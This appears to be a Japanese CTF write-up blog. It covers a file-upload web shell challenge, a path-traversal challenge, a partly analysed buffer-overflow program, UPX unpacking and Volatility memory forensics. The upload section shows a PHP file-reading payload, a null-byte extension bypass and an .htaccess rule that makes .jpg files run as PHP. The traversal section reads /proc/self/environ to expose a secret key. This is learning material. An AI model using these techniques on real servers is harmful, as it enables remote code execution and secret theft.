このアップロードでどんな攻撃ができるのか?よくわからん。
調べているとwebshellというものを使うというものがあった。phpファイルに悪意のあるコードを記述し、実行させるようだ。試しにphpファイルがアップロードできるかやってみた。
許可されていないと出てきた。

(How to Exploit File Upload Vulnerabilities (and How to Fix Them!))調べていると、ファイルアップロードには攻撃手法と防御手法が多く存在している。今回、はじかれたのが、拡張子かマジックナンバーか、はたまた、送信タイプによるものか、そこから特定していかないといけない。しかし、方針は見えたような気がする。
つまり、悪意のあるphpファイルを/uploads/imagesにアップロードして、それを実行させる!
phpファイルの中身は(File upload vulnerabilities)こちらのサイトを参考に

<?php 
echo file_get_contents('/var/www/flag1.txt'); 
?>

でやってみる。

まずは拡張子をバイパスしたい。.php2ではアップロードはできた。しかし、jpgではないので、imagesの中にはない。そうなると、jpgと認識させつつ、phpで送らないといけないということになる。そんなこと可能なのだろうか?

(Red-Knights-CTF/writeups )やそのほかのものにもよく登場する単語があった。burpsuiteというものらしい。新しいツールを使わないとかな。
さて、burpsuiteを使っていく。インストールまでは完了。使い方だが、firefox拡張機能を使うとか、初期設定が難しい印象。(ペネトレーションテストでのBurp Suiteの使用方法)習うより慣れてみる。

お!なんかできてる。(Configuring Burp to work with an external browser)外部のブラウザーも使えるようだ。
読み込みにいちいち時間がかかるからうざいと思っていたけど、fowardを押すまで、編集とかができるのね。便利。ありがとうございます。

画像をアップロード。いろいろ書かれている。これこれ。この感じ。
.phpファイルをアップロードするときの中身。content-typeが当たり前だが、imageみたいなものではない。
Content-Type: image/jpegに編集してからfowardしてみた。しかし、拡張子が許可されていないと出た。やはり、拡張子がフィルターになっているようだ。
次に、先のphpファイルの拡張子をjpgにしてみる。

fileToUpload"; filename="fla.jpg"
Content-Type: image/jpeg

として、送信。アップロードはできた。これで、そのファイルを実行できれば、攻撃できるのかな?拡張子はjpgになってしまっている。そのファイルをGETしても、望んだ結果は帰ってこない。
アップロード先はどこなのだろうか?(【PHP】ファイルのアップロード方法)どこに飛ばすかはもちろん設定できるようだ。(【脆弱性】本当は怖いファイルアップロード攻撃の理解と修正方法(PHP編))実際に、その攻撃手法とその対策はあるようだ。アップロード先を非公開にするのもその一つ。攻撃手法として、アップロード先を決めたりできないのかな。

さて、数日空きましたが、ファイル拡張子をまずはパスするために(File Upload)から、file.php%00.jpgを用いてアップロードしてみる。
アップロードはできた。しかし、パスに訪れても、表示されない。


ここで同じ現象の起きているサイトを見つけた(Web shell upload via extension blacklist bypassをやってみた)。読んでいると.htaccessというものを使っていた。

知識(.htaccess)
.htaccess (.htaccessとは?5つのできることや詳しい設置方法を解説)を参考にした。apacheで使える。webサーバーの管理ができるようだ。

この.htaccessファイルでの攻撃手法は調べているときに知ってはいた。これを利用するのかな?
実際に.htaccessをアップロードできた。この.htaccessの内容は以下のようなものだ。

AddType application/x-httpd-php .jpg

こうするとことで、.jpgphpとして認識できるように設定できるということなのだろう。こうすることで、先のfile.php%00.jpgをphpとして、実行できる。(ファイル名を「file.php%00.jpg」としたが、「file.jpg」でもよさそうだ。) 一つ、burp suitで.jpgファイルを送るときにコンテンツタイプをContent-Type: application/x-httpd-phpにしていないといけないようだ。ここは注意。 つまり、.htaccessContent-Type: application/x-httpd-phpfile.php%00.jpgをアップロードすることで、flagが確認できるようだ。


これでできた。終了。

これは Gallery (1st mission) の続きです。2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。


同じようにやってみたが、なにも表示されなかった。先との違いは、/varのファイルか/rootのものかという違いだと思う。これによる違いはどうあるのだろうか?ファイル表示ではなく、コマンドを入力のようにしないといけないのかな?

Web Exploitation

[Easy] Path to Secret

脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。ヒント: サーバのファイル名はserver.pyです。

というわけで、webサイトへの攻撃である。

最初のアクセスを行うとこんな感じ。開発者ツールを見てもそこまで変なところはない。LoginとRegisterがあるので、アカウントを作ってアクセスしてみる。
downloadができるようになった。でも、どのような攻撃ができるかわかっていない。

ここで、任意のパスのファイルをダウンロードできるのではないのか?と思った。(CTFのWebセキュリティにおけるPath Traversal, LFI/RFI (File Upload, ZipSlip))をもとにファイルトラバーサルを行う。そうすると、ヒントで言われていたserver.pyをダウンロードすることに成功する。

@app.route("/admin")
def admin():
    if session.get("username") != "admin":
        return "You are not admin."

    users = User.query.all()
    return render_template("admin.html", users=users)

pyファイルを調べている。ここんところは気になる。けど、特にいい感じにはならない。調べているとflaskというサービスには脆弱性があるような記事が多い。

app.config["SECRET_KEY"] = os.environ.get("SECRET_KEY")から、configの値を獲得できれば、成功のようだ。flask-unsignをやっているが、あまりいい感じにならない。

大会後、友人に助言をいただき、また、調べると環境変数/proc/[pid]/environというファイルに書き込まれるようだ。また、pidが分かっていなくても、動いているサービスなら/proc/self/environにあるようだ(【Linux入門】/proc/self/environで環境変数を取得する)参照。
server.pyをダウンロードした要領で、このファイルをダウンロードすると、SECRET_KEYを見ることが出来る。なるほど。

Binary Exploitation

[Easy] io tutorial(解けていない)

同じクラスの友人がプログラミングの宿題を教えて欲しいと頼んできた。 作ったプログラムがたまに変な動きをしていて、原因がわからず困っているみたい。「標準入出力を使ったプログラムで、習った通りちゃんと文字数のチェックもしてるからバッファオーバーフローもしないはずなのに!」とのこと。原因を見つけてシェルを取って助けてあげよう!たしか先生は変数の初期化を忘れちゃダメって言ってたような?
コードについて調べたのは以下です。

見たい人は開けて

char *MESSAGES[] = {
    "! ! ! ! welcome ! ! ! !\n",
    "8 8 8 8 welcome 8 8 8 8\n",
    "WELCOME WELCOME WELCOME\n",
};

入力の時の1-3を選ばせるのはこの中からどれを表示するかを選択していると考えられる。

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

よくある初期化。

void win() {
  puts("WIN!!");
  execve("/bin/sh", NULL, NULL);
  exit(0);
}

ここに飛ばせば勝ちのようだ。よくあるpwnといった感じ。

void readn(char *buf, size_t size) {
  for (int i = 0; i < size; i++) {
    read(0, buf + i, 1);
    if (buf[i] == '\n') {
      buf[i] = '\0';
      return;
    }
  }

  // drop trailing '\n'
  getchar();
}

readnはbufと2を受け取る。i=0の時にbufに1バイト読み込み。それをi=1の時にも行う。もし、読み込んだものが\n なら\0にする。getchar();ではユーザーの入力を待つことになる?なんでだ?これは標準入力の\nを読み飛ばす働きがあるようだ。

int readint() {
  // read only 2 chars, so returns -9 to 99 I guess!
  char buf[0x10];
  readn(buf, 2);
  return atoi(buf);
}

bufは10バイトの領域を確保。readnにbufと2を渡す。atoi関数は文字列として認識されている数字を数値(int)に変換する関数である。

void greet() {
  char message[25];

  printf("greeting message? (1 ~ 3) > ");
  int which = readint();
  if (which < 1 || which > 3) {
    printf("invalid!");
    exit(1);
  }

  strncpy(message, MESSAGES[which - 1], strlen(MESSAGES[which - 1]) + 1);
  printf("%s", message);
}

最初のメッセージのやつ。

int main() {
  greet();

  printf("input size > ");
  int size = readint();

  // readint may returns negative number.
  if (size < 0) {
    size = 0;
  }

  // size is 99 at most, but to be safe,
  // the buffer size is set to 0x100 (== 256).
  // it can't be overflow!
  char input[0x100];

  printf("input > ");
  read(0, input, size);
  printf("your input: %s\n", input);

  return 0;
}

greet()でメッセージを選択。そのあと入力サイズを選ぶ。sizeがマイナスの時は0にする。inputには256byteを許すinput[0x100]である。

read関数では、inputのところに読み込んだデータを保存する。sizeは読み込むバイト数である。最初の引数=0ということはユーザーの標準入力を認識する。
readint()を見ていく。

さて、コードは解読したが、どのような穴があるか、わからん。

Malware Analysis

[Easy] Pack(解けていません)

世の中には実行ファイルの動作を変えることなく難読化ができるツールがあるようです。 表層解析で得られる文字列を見てみると......?

表層解析ということなので、まずfileコマンド。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX compressed, 3 sections

UPXというもので圧縮されているのかな?解凍してみる。

└─# ./upx -d ../pack.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     20480 <-     12800   62.50%    win32/pe     pack.exe

Unpacked 1 file.

解凍できたっぽい。

└─# file pack.exe
pack.exe: PE32 executable (console) Intel 80386, for MS Windows, 4 sections

実行結果が変わっている。stringsしてみると

retry :
Incorrect
Almost! retry:
retry :
Incorrect
Enter anything key:
Congratulations!
FindResource error
MANIFEST
Flag is :
binary unpacked!
)B(:+

何やらflagに関係することが述べられていそう。一応入力したが、はじかれた。binary unpackedとはバイナリーの解凍を行えということなのだろうか?

└─# hexdump -v -C pack.exe
00000000  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00  |MZ..............|  

MZということで、実行ファイルであることは確かそうだけど。もしかして、ここから静的解析に移ったりするのかな?
ということで、静的解析に移ってみる。まずFlag is :binary unpacked!から攻めてみる。

flag is や congra..を出力するところや入力を待つところの関数をリネームしてみた。flagの入力を求めて、それを下の関数で本物のflagと比較していると予想した。

comp関数の中では何かしらの処理をして比較し、あっていればcongra..の文字列を返すと考えている。でも、どのようになっているかよくわからない。

memlabs

waniCTFでやったメモリフォレンジックが楽しかったので、調べたらmemlabsというものがあったので、やってみる。

開閉

MemLabs Lab 0 - Never Too Late Mister

My friend John is an "environmental" activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?
ということで、友人が行っていたことをメモリダンプから発見するというもののようだ。
まずは渡されたファイルが何なのか、友人はどんな環境を使っているのかなどの情報を知りたい。

└─# file Challenge.raw
Challenge.raw: data

fileコマンドではあんまり有益な情報はない。

└─# python3 vol.py -f ../Challenge.raw windows.info.Info
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0x82604000
DTB     0x185000
Symbols file:///home/yukichi/mount/memlabs/volatility3%28memory%29/volatility3/symbols/windows/ntkrpamp.pdb/EDD3760CEE2B45D2A63BF8C26EE11FAF-2.json.xz
Is64Bit False
IsPAE   True
layer_name      0 WindowsIntelPAE
memory_layer    1 FileLayer
KdDebuggerDataBlock     0x8273cb78
NTBuildLab      7601.24260.x86fre.win7sp1_ldr.18
CSDVersion      1
KdVersionBlock  0x8273cb50
Major/Minor     15.7601
MachineType     332
KeNumberProcessors      1
SystemTime      2018-10-23 08:30:51
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  6
NtMinorVersion  1
PE MajorOperatingSystemVersion  6
PE MinorOperatingSystemVersion  1
PE Machine      332
PE TimeDateStamp        Sun Sep  9 00:14:23 2018

つまり、ウィンドウズなのかな?volatility2ではimageinfoのようなものがあったが、3にはないので、よくわからい感じはある。次は何を行っていたか、pslistを見たいと思う。

└─# python3 vol.py -f ../Challenge.raw windows.pslist.PsList
Volatility 3 Framework 2.7.1
Progress:  100.00               PDB scanning finished
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime       File output

4       0       System  0x83d09c58      85      483     N/A     False   2018-10-23 08:29:16.000000      N/A     Disabled
260     4       smss.exe        0x8437db18      2       29      N/A     False   2018-10-23 08:29:16.000000      N/A    Disabled
.
.
.
2096    324     cmd.exe 0x851a6610      1       22      1       False   2018-10-23 08:30:18.000000      N/A     Disabled
.
2412    324     DumpIt.exe      0x845a8d20      2       38      1       False   2018-10-23 08:30:48.000000      N/A    Disabled
.

cmd.exeが実行されているのはやはり気になる。DumpIt.exeはメモリダンプをとっている実行であるようだ。
ん、volatility3で実行していましたけど、volatility2の方が解析しやすい?cmd.exe上で何が実行されたかを確認するのが難しい。
確かにvolatility2で実行するとコマンドで実行したものが見れた。

└─# python2 vol.py -f ../Challenge.raw --profile=Win7SP0x86 cmdscan
Volatility Foundation Volatility Framework 2.6.1
.
.
Cmd #0 @ 0x2f43c0: C:\Python27\python.exe C:\Users\hello\Desktop\demon.py.txt
.
.